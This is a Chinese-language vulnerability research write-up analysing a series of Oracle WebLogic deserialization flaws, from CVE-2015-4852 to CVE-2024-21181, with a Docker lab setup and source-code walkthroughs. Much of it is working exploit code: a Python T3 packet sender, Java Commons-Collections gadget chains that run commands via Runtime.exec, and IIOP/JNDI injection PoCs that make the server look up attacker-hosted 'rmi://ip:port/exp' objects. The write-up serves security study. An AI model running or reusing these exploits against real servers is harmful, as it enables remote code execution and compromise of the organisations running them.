环境配置

使用WeblogicEnvironment项目搭建,地址:WeblogicEnvironment

Weblogic Server官网下载地址:https://www.oracle.com/hk/middleware/technologies/weblogic-server-downloads.html

oracle删除了官网上所有的Weblogic Server 10.3.6.0.0的下载链接,只剩下了12.x和14.x的。不过我们可以通过url直接下载:http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar

docker build或者run的时候可能会内存不足,增加ulimit即可:--ulimit nofile=65535:65535

docker里的java版本最好和idea使用的版本一样,不然容易出现debug行号不一致的问题。

由于centos 8 于2021年12月31日停止了源的服务,需要修改yum的源等等操作,修改Dockerfile:

RUN cd /etc/yum.repos.d/
RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*

从容器里复制出lib导入idea即可开始debug,端口以为8453:

/u01/app/oracle/middleware/modules 
/u01/app/oracle/middleware/wlserver
/u01/app/oracle/middleware/coherence_3.7/lib

T3反序列化

CVE-2015-4852

Weblogic 10.3.6

JDK8u65

T3协议部分参考:http://drops.xmd5.com/static/drops/web-13470.html

Weblogic Server 使用T3协议进行RMI通信,请求包格式如下: 1

第一部分为T3协议头,后面跟着7段java序列化数据,将其中任意一部分改为恶意序列化数据即可。

关于其中探测版本部分,我发现有时返回包会分到两个TCP数据包里发过来,所以脚本需要改一下:

data = sock.recv(1024)
if len(data) == 4:
    data = data + sock.recv(1024)

数据流先进入InboundMsgAbbrev#readObject方法:

private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {
    int var2 = var1.read();
    switch (var2) {
        case 0:
            return (new ServerChannelInputStream(var1)).readObject();
        case 1:
            return var1.readASCII();
        default:
            throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");
    }
}

然后进入ServerChannelInputStream#readObject方法,这个类实现了resolveClass方法:

protected Class resolveClass(ObjectStreamClass var1) throws ClassNotFoundException, IOException {
    Class var2 = super.resolveClass(var1);
    if (var2 == null) {
        throw new ClassNotFoundException("super.resolveClass returns null.");
    } else {
        ObjectStreamClass var3 = ObjectStreamClass.lookup(var2);
        if (var3 != null && var3.getSerialVersionUID() != var1.getSerialVersionUID()) {
            throw new ClassNotFoundException("different serialVersionUID. local: " + var3.getSerialVersionUID() + " remote: " + var1.getSerialVersionUID());
        } else {
            return var2;
        }
    }
}

不过这个版本没有过滤,不影响。ServerChannelInputStream没有重写readObject,所以直接进入java.io.ObjectInputStream#readObject方法。畅通无阻。

10.3.6版本带有cc3.2.0的依赖,可以打cc链,exp如下:

import socket
import struct
import re
import binascii

def get_payload(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    if len(data) == 4:
        data = data + sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = ""
    port = 7001

    payload = get_payload("./ser.bin")
    exp(host, port, payload)

生成的恶意序列化放在./ser.bin。生成代码:

public class Exp {
    public static void main(String[] args) throws Exception {
        String command = "";
        final String[] execArgs = new String[] { command };

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        HashMap innimpl = (HashMap) getFieldValue(map, "map");
        Object[] array = (Object[]) getFieldValue(innimpl, "table");

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        setFieldValue(node, "key", entry);

        serToFile(map);
    }
}

CVE-2016-0638 (readExternal绕过)

Weblogic 10.3.6

JDK8u65

CVE-2015-4852的补丁就是在resolveclass里添加类黑名单检测,绕过思路就是二次反序列化。

java.io.ObjectInputStream#readObject会调用readOrdinaryObject方法反序列化为Object,其中如果可拓展会调用readExternalData方法:

private Object readOrdinaryObject(boolean unshared)
    throws IOException
{
    if (bin.readByte() != TC_OBJECT) {
        throw new InternalError();
    }

    ObjectStreamClass desc = readClassDesc(false);
    desc.checkDeserialize();

    ................

    if (desc.isExternalizable()) {
        readExternalData((Externalizable) obj, desc);
    } else {
        readSerialData(obj, desc);
    }

    .................

    return obj;
}

最终会调用这个Externalizable类的readExternal方法。

StreamMessageImpl类的readExternal方法代码如下:

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
    super.readExternal(var1);
    byte var2 = var1.readByte();
    byte var3 = (byte)(var2 & 127);
    if (var3 >= 1 && var3 <= 3) {
        switch (var3) {
            case 1:
                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
                BufferInputStream var4 = this.payload.getInputStream();
                ObjectInputStream var5 = new ObjectInputStream(var4);
                this.setBodyWritable(true);
                this.setPropertiesWritable(true);

                try {
                    while(true) {
                        this.writeObject(var5.readObject());
................
}

可以调用原生的readObject方法,绕过黑名单。

这个类需要自己生成:

cd WL_HOME/server/lib
java -jar ../../../modules/com.bea.core.jarbuilder_X.X.X.X.jar

生成的wlfullclient.jar复制出来导入idea。

对应的StreamMessageImpl类也有一个writeExternal方法,不过不可控,用javassist改一下,然后序列化时会将CC链的序列化数据写入External数据部分,poc代码如下:

public class Exp {
    public static void main(String[] args) throws Exception {
        String command = "";
        final String[] execArgs = new String[] { command };

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        HashMap innimpl = (HashMap) getFieldValue(map, "map");
        Object[] array = (Object[]) getFieldValue(innimpl, "table");

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        setFieldValue(node, "key", entry);

        byte[] data = ser(map);

        String base64Code = Base64.getEncoder().encodeToString(data);
        int length = data.length;

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("weblogic.jms.common.StreamMessageImpl");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeExternal");
        String code = "{\n" +
                "System.out.println(1);\n" +
                "super.writeExternal($1);\n" +
                "java.io.ObjectOutput out = (java.io.ObjectOutput) $1;\n" +
                "out.writeByte(1);\n" +
                "\n" +
                "int length = " + length + ";\n" +
                "String base64Code = \""+ base64Code + "\";\n" +
                "byte[] buffer = java.util.Base64.getDecoder().decode(base64Code);\n" +
                "\n" +
                "out.writeInt(length);\n" +
                "out.write(buffer);}";
        writeReplace.setBody(code);
        ctClass0.detach();
        ctClass0.toClass();

        StreamMessageImpl streamMessage = new StreamMessageImpl();
        serToFile(streamMessage);
    }
}

然后再用python脚本发送即可。

CVE-2016-3510 (readResolve绕过)

Weblogic 10.3.6

JDK8u65

CVE-2015-4852的另一种绕过。

还是之前分析的ObjectInputStream#readOrdinaryObject方法:

private Object readOrdinaryObject(boolean unshared)
    throws IOException
{
    .............

    if (desc.isExternalizable()) {
        readExternalData((Externalizable) obj, desc);
    } else {
        readSerialData(obj, desc);
    }

    handles.finish(passHandle);

    if (obj != null &&
        handles.lookupException(passHandle) == null &&
        desc.hasReadResolveMethod())
    {
        Object rep = desc.invokeReadResolve(obj);
        if (unshared && rep.getClass().isArray()) {
            rep = cloneArray(rep);
        }
        if (rep != obj) {
            handles.setObject(passHandle, obj = rep);
        }
    }

    return obj;
}

在检查完isExternalizable后会再检查是否具有readResolve方法,有的话就调用。

weblogic.corba.utils.MarshalledObjectreadResolve的方法可以进行二次反序列化:

public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {
    if (this.objBytes == null) {
        return null;
    } else {
        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);
        ObjectInputStream var2 = new ObjectInputStream(var1);
        Object var3 = var2.readObject();
        var2.close();
        return var3;
    }
}

这个类也在wlfullclient.jar里,需要自己生成。

poc代码如下:

public class Exp {
    public static void main(String[] args) throws Exception {
        String command = "";
        final String[] execArgs = new String[] { command };

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        HashMap innimpl = (HashMap) getFieldValue(map, "map");
        Object[] array = (Object[]) getFieldValue(innimpl, "table");

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        setFieldValue(node, "key", entry);

        MarshalledObject marshalledObject = new MarshalledObject(map);

        serToFile(marshalledObject);
    }
}

CVE-2017-3248

Weblogic 10.3.6

JDK8u65

JRMP协议也可以触发readObject。

使用ysoserial的JRMPListener即可。

补丁添加的黑名单.

CVE-2018-2628

Weblogic 10.3.6

JDK8u65

JRMP的UnicastRef类有readExternal方法,可以直接用这个类来反序列化绕过黑名单检测。

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
    this.ref = LiveRef.read(var1, false);
}

最终也会触发TCPEndpoint连接,触发JRMP反序列化。

poc:

public class Exp {
    public static void main(String[] args) throws Exception {
        String host = "ip";
        int port = ;
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        serToFile(ref);
    }
}

ip和port指向ysoserial的JRMPListener监听的地址。

IIOP协议反序列化

Weblogic IIOP协议默认开启,跟T3协议一起监听在7001端口

Common Object Request Broker Architecture(公共对象请求代理体系结构)是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL(interface definition language)描述连接到远程对象的接口,然后将其映射到制定的语言实现。 一般来说CORBA将其结构分为三部分:

  • naming service
  • client side
  • servant side

GIOP全称(General Inter-ORB Protocol)通用对象请求协议,其功能简单来说就是CORBA用来进行数据传输的协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol)。所以说通过TCP协议传输的GIOP数据可以称为IIOP。

RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。但是现在有了RMI-IIOP,稍微修改代码即可实现RMI客户端使用IIOP协议操作服务端CORBA对象,这样综合了RMI的简单性和CORBA的多语言性兼容性,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性。

网路问题

IIOP在bind时会绑定在0.0.0.0上,默认只能带本地。

可以尝试修改IIOP的部分实现代码。我这里用javassist修改了weblogic.iiop.IOPProfile#read,强制改为指定的ip。

String ip = "";
String port = "7001";

ClassPool pool = ClassPool.getDefault();
CtClass IOPProfileCtClass = pool.get("weblogic.iiop.IOPProfile");

CtMethod read = IOPProfileCtClass.getDeclaredMethod("read");

String code = "this.host = \"" + ip + "\";";
read.insertAfter(code);
IOPProfileCtClass.detach();
IOPProfileCtClass.toClass();

CVE-2020-2551

Weblogic 10.3.6

JDK8u65

与JRMP类似,IIOP协议在不同组件之间通信是通过序列化/反序列化。

JtaTransactionManager类本身不在黑名单里了,但其父类AbstractPlatformTransactionManager在黑名单里,T3协议使用resolveClass过滤,这个方法也会检测父类,可以过滤JtaTransactionManager类,而IIOP协议不使用resolveClass,所以不会过滤,所以无法根据父类将其过滤。

JtaTransactionManager在反序列化时会通过JNDI去加载对象。

poc如下:

public class Exp {
    public static void main(String[] args) throws Exception {
        String ip = "";
        String port = "7001";

        ClassPool pool = ClassPool.getDefault();
        CtClass IOPProfileCtClass = pool.get("weblogic.iiop.IOPProfile");

        CtMethod read = IOPProfileCtClass.getDeclaredMethod("read");

        String code = "this.host = \"" + ip + "\";";
        read.insertAfter(code);
        IOPProfileCtClass.detach();
        IOPProfileCtClass.toClass();

        try {
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));

            Context context = new InitialContext(env);
            // get Object to Deserialize
            JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
            jtaTransactionManager.setUserTransactionName("rmi://ip:port/Exploit");
            Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwnedasd", jtaTransactionManager), Remote.class);

            System.out.println("start");

            context.bind("hello", remote);
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

CVE-2023-21839

Weblogic 12.2.1.4

JDK8u65

12.x可以直接从官网下载,将/u01/app/oracle/middleware/wlserver下的所有导入idea。

也需要导入wlfullclient.jar,与10.3.6的生成方式不同。

cd /u01/app/oracle/middleware/wlserver/server/lib
/java/bin/java -jar ../../modules/com.bea.core.jarbuilder.jar 

当客户端向服务器lookup对象时,服务器会调用weblogic.corba.cos.naming.NamingContextImpl#resolveObject方法。

private java.lang.Object resolveObject(String name) throws NamingException {
    if (name.equals("")) {
        return this;
    } else {
        java.lang.Object o = this.getContext().lookup(name);

.........................

此时的context为weblogic.jndi.internal.WLContextImpl,如果绑定的对象不是NamingNode则会调用getObjectInstance:

protected Object resolveObject(String name, Object obj, int mode, Hashtable env) throws NamingException {
    Object resolved = obj;
    if (obj != null) {
        try {
            if (obj instanceof NamingNode) {
                resolved = ((NamingNode)obj).getContext(env);
            } else if (mode != 0 && mode >= 0) {
                resolved = WLNamingManager.getObjectInstance(obj, new CompositeName(name), (Context)null, env);
                resolved = this.makeTransportable(resolved, name, env);
            }
..............

如果绑定的对象是OpaqueReference则调用其getReference方法。

} else if (boundObject instanceof OpaqueReference) {
    boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);

weblogic.deployment.jms.ForeignOpaqueReferenceOpaqueReference的一个实现类,其getReference方法可以触发原生JNDI lookup,关键代码如下:

public Object getReferent(Name name, Context ctx) throws NamingException {
    AbstractSubject originalSubject = SubjectManager.getSubjectManager().getCurrentSubject(KERNEL_ID);
    InitialContext context;
    if (this.jndiEnvironment == null) {
        context = new InitialContext();
    } else {
        if (this.jndiEnvironment.get("java.naming.factory.initial") == null) {
            this.jndiEnvironment.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        }

        context = new InitialContext(this.jndiEnvironment);
    }

.....................

    Object retVal;
    try {
        if (this.jndiEnvironment != null && AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")) && this.remoteJNDIName != null && (this.remoteJNDIName.startsWith(AQJMS_QPREFIX) || this.remoteJNDIName.startsWith(AQJMS_TPREFIX))) {
            synchronized(this) {
                if (this.cachedReferent == null) {
                    this.cachedReferent = context.lookup(evalMacros(this.remoteJNDIName));
                }
            }

            retVal = this.cachedReferent;
        } else {
            retVal = context.lookup(evalMacros(this.remoteJNDIName));
        }
    } finally {
        SubjectManager.getSubjectManager().popSubject(KERNEL_ID);
        context.close();
    }

    ................
}

当lookup一个ForeignOpaqueReference对象时会触发jndi lookup.

remoteJNDIName属性需要反射写入,poc:

public class Exp {
    public static void main(String[] args) throws Exception {
        String ip = "";
        String port = "7001";

        ClassPool pool = ClassPool.getDefault();
        CtClass IOPProfileCtClass = pool.get("weblogic.iiop.ior.IOPProfile");

        CtMethod read = IOPProfileCtClass.getDeclaredMethod("read");

        String code = "this.host = \"" + ip + "\";";
        read.insertAfter(code);
        IOPProfileCtClass.detach();
        IOPProfileCtClass.toClass();

        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));

        Context context = new InitialContext(env);

        ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference();
        setFieldValue(foreignOpaqueReference, "remoteJNDIName", "rmi://ip:port/exp");

        System.out.println("start");

        context.rebind("helloasd", foreignOpaqueReference);
        context.lookup("helloasd");
    }
}

直接将ForeignOpaqueReferencerebind,接着lookup即可,还是需要用javassist修改函数才能打远程。不过12.2.1.4版本中类名从weblogic.iiop.IOPProfile改为了weblogic.iiop.ior.IOPProfile.

CVE-2024-20931

Weblogic 12.2.1.4

JDK8u65

属于CVE-2023-21839的绕过,补丁添加了两个过滤:

  • 如果jndiEnvironment中providerURL不为null会检查签名
  • 限制了JNDI的协议类型

之前打CVE-2023-21839时jndiEnv为null,这次需要用jndiEnv的java.naming.factory.initial属性指定本地工厂类。

服务器在创建上下文时会调用这个工厂类的getInitialContext方法。

堆栈如下:

javax.naming.spi.InitialContextFactory#getInitialContext
javax.naming.spi.NamingManager#getInitialContext
javax.naming.InitialContext#getDefaultInitCtx
javax.naming.InitialContext#init
javax.naming.InitialContext#<init>
weblogic.deployment.jms.ForeignOpaqueReference#getReferent
weblogic.jndi.internal.WLNamingManager#getObjectInstance
weblogic.jndi.internal.BasicNamingNode#resolveObject
weblogic.jndi.internal.BasicNamingNode#resolveObject
weblogic.jndi.internal.BasicNamingNode#lookupSharable
weblogic.jndi.internal.PartitionHandler#lookupSharable
weblogic.jndi.internal.ServerNamingNode#lookup
weblogic.jndi.internal.RootNamingNode#lookup
weblogic.jndi.internal.WLEventContextImpl#lookup
weblogic.jndi.internal.WLContextImpl#lookup
javax.naming.InitialContext#lookup
weblogic.corba.cos.naming.NamingContextImpl#resolveObject

AQjmsInitialContextFactory这个工厂类的getInitialContext方法会调用根据参数dataSource进行原生jndi lookup。

用poc能打通,不过我这边找不到这个类在哪,所以不知道具体触发jndi的代码是什么。

反射写入jndiEnv即可。

Hashtable jndiEnv = new Hashtable();
jndiEnv.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
jndiEnv.put("datasource", "rmi://ip:port/exp");

setFieldValue(foreignOpaqueReference, "jndiEnvironment", jndiEnv);

CVE-2024-21006

Weblogic 12.2.1.4

JDK8u65

漏洞的最终利用方式和CVE-2023-21839CVE-2024-20931一致,都是利用 IIOP -> JNDI 去造成远程代码执行,不过在整个触发的过程中有所不同。

CVE-2024-20931的调用堆栈来看,通过了weblogic.jndi.internal.BasicNamingNode#lookupSharable并进入了if代码块,代码如下:

protected Object lookupSharable(String name, Hashtable env) throws NamingException, RemoteException {
    String prefix = this.getPrefix(name);
    String restOfName = this.getRest(name);
    Object object = this.lookupHere(prefix, env, restOfName);
    if (restOfName.length() == 0) {
        if (NamingDebugLogger.isDebugEnabled()) {
            NamingDebugLogger.debug("+++ lookupInSharable(" + name + ", " + object.getClass().getName() + ") succeeded");
        }

        return this.resolveObject(prefix, object, env);
    } else {
        try {
            if (object instanceof BasicNamingNode) {
                object = ((BasicNamingNode)object).lookupSharable(restOfName, env);
            } else {
                object = this.getContinuationCtx(object, prefix, restOfName, env).lookup(restOfName);
            }
        } catch (NamingException var7) {
            throw this.prependResolvedNameToException(prefix, var7);
        }

        return this.makeTransportable(object, restOfName, env);
    }
}

如果restOfName.length() == 0为真,进入else分支,让object不为BasicNamingNode类型会调用getContinuationCtx

有一个补丁在getContinuationCtx里,限制了通过HTTP codebase加载远程类。后面会调用NamingManager#getContinuationContext

public static Context getContinuationContext(CannotProceedException cpe)
        throws NamingException {

    Hashtable<Object,Object> env = (Hashtable<Object,Object>)cpe.getEnvironment();
    if (env == null) {
        env = new Hashtable<>(7);
    } else {
        // Make a (shallow) copy of the environment.
        env = (Hashtable<Object,Object>)env.clone();
    }
    env.put(CPE, cpe);

    ContinuationContext cctx = new ContinuationContext(cpe, env);
    return cctx.getTargetContext();
}

最终会调用到javax.naming.spi.NamingManager#getObjectInstance方法,这里就是原生jndi lookup调用本地工厂类的地方:

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
    return factory.getObjectInstance(ref, name, nameCtx, environment);
}

weblogic.application.naming.MessageDestinationObjectFactory类实现了ObjectFactory接口,可以作为工厂类,其getObjectInstance方法可以触发原生jndi lookup,相当于二次jndi注入绕过限制。

public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws NamingException {
    if (!(obj instanceof MessageDestinationReference)) {
        throw new AssertionError("ObjectFactory should have been referenced only from EnvReference");
    } else {
        return ((MessageDestinationReference)obj).lookupMessageDestination();
    }
}
public Object lookupMessageDestination() throws NamingException {
    InitialContext ic;
    if (this.initialContextFactory == null) {
        ic = new InitialContext();
    } else {
        Hashtable<String, String> env = new Hashtable();
        env.put("java.naming.factory.initial", this.initialContextFactory);
        if (null != this.providerURL) {
            env.put("java.naming.provider.url", this.providerURL);
        }

        ic = new InitialContext(env);
    }

    return ic.lookup(this.jndiName);
}

需要bind一个MessageDestinationReference对象。其构造方法允许指定jndiName:

public MessageDestinationReference(Environment env, MessageDestinationRefBean msgDest, String jndiName, String providerURL, String initialContextFactory) throws EnvironmentException {
    super(env, msgDest.getMessageDestinationType(), "weblogic.application.naming.MessageDestinationObjectFactory");
    this.jndiName = jndiName;
    this.providerURL = providerURL;
    this.initialContextFactory = initialContextFactory;
}

似乎需要在weblogic运行时才能msgDest.getMessageDestinationType(),本地会报错,用javassist改一下就可以了:

CtClass MessageDestinationReferenceCtClass = pool.get("weblogic.application.naming.MessageDestinationReference");
CtConstructor[] cons = MessageDestinationReferenceCtClass.getDeclaredConstructors();
CtConstructor MessageDestinationReferenceCon = null;
for(CtConstructor con : cons){
    if (con.getParameterTypes()[0].getName().equals("weblogic.application.naming.Environment")){
        MessageDestinationReferenceCon = con;
        break;
    }
}
if (MessageDestinationReferenceCon == null){
    System.out.println("con not found");
    System.exit(0);
}
MessageDestinationReferenceCon.setBody("{\n" +
        "        super($1, \"java.lang.Object\", \"weblogic.application.naming.MessageDestinationObjectFactory\");\n" +
        "        this.jndiName = $3;\n" +
        "        this.providerURL = $4;\n" +
        "        this.initialContextFactory = $5;\n" +
        "    }");
MessageDestinationReferenceCtClass.detach();
MessageDestinationReferenceCtClass.toClass();

MessageDestinationReference messageDestinationReference = new MessageDestinationReference(null, null, "rmi://ip:port/exp", null, null);

回到前面,restOfName就是双引号之外的数据而且restOfName和第二个双引号直接要有一个./,类似这样:"<name>"/<restOfName>,bind用name,lookup用name + restOfName。

context.rebind("asda", ref);
context.lookup("\"asda\"/asd");

堆栈:

javax.naming.InitialContext#lookup
weblogic.application.naming.MessageDestinationReference#lookupMessageDestination
weblogic.application.naming.MessageDestinationObjectFactory#getObjectInstance
javax.naming.spi.NamingManager#getObjectInstance
javax.naming.spi.NamingManager#getContext
javax.naming.spi.ContinuationContext#getTargetContext
javax.naming.spi.NamingManager#getContinuationContext
weblogic.jndi.internal.BasicNamingNode#getContinuationCtx
weblogic.jndi.internal.BasicNamingNode#lookupSharable
weblogic.jndi.internal.PartitionHandler#lookupSharable
weblogic.jndi.internal.ServerNamingNode#lookup
weblogic.jndi.internal.RootNamingNode#lookup
weblogic.jndi.internal.WLEventContextImpl#lookup
weblogic.jndi.internal.WLContextImpl#lookup
javax.naming.InitialContext#lookup
weblogic.corba.cos.naming.NamingContextImpl#resolveObject

CVE-2024-21181

Weblogic 12.2.1.4

JDK8u65

另一个工厂类weblogic.management.mbeanservers.partition.PartitionedMbsRefObjFactorygetObjectInstance方法代码如下:

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    Reference ref = (Reference)Reference.class.cast(obj);
    String pName = (String)ref.get("partitionName").getContent();
    JVMID jvmId = (JVMID)this.deserialize((byte[])((byte[])ref.get("jvmId").getContent()));
    if (!jvmId.isLocal()) {
        throw new Exception(name + " cannot be looked up using a remote JNDI context. Use JSR160 interface to use JMX remotely or use a local JNDI context to look up the local MBeanServer.");
    } else {
        MBeanServer delegateMbs = this.getDelegateMbs();

        assert delegateMbs != null;

        return (new PartitionedMbsFactory()).create(pName, delegateMbs);
    }
}

deserialize方法就是java原生反序列化,lookup一个Reference并指定工厂类即可。

可以参考weblogic.management.mbeanservers.partition.PartitionedMbsRefObjFactory#createReference的代码写。需要注意的是PartitionedMbsRefObjFactory是抽象类,要找一个实现类比如PartitionedDomainRuntimeMbsRefObjFactory

生成Reference:

StringRefAddr addr = new StringRefAddr("partitionName", "asas");
Reference reference = new Reference(MBeanServer.class.getName(), addr, PartitionedDomainRuntimeMbsRefObjFactory.class.getName(), (String)null);
RefAddr jvmIdAddr = new BinaryRefAddr("jvmId", getEvilData());
reference.add(jvmIdAddr);

12.2.1.4版本的CC为3.2.2版本,CC链不能利用了。

参考

http://drops.xmd5.com/static/drops/web-13470.html

https://boogipop.com/2023/04/26/Weblogic%E5%85%A8%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/

https://github.com/Y4er/CVE-2020-2551

https://l3yx.github.io/2020/04/22/Weblogic-IIOP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://xz.aliyun.com/news/7094

https://mp.weixin.qq.com/s/Mh9BDkKP79BPEYdAt5uhaw

https://xz.aliyun.com/news/13742

https://xz.aliyun.com/news/14609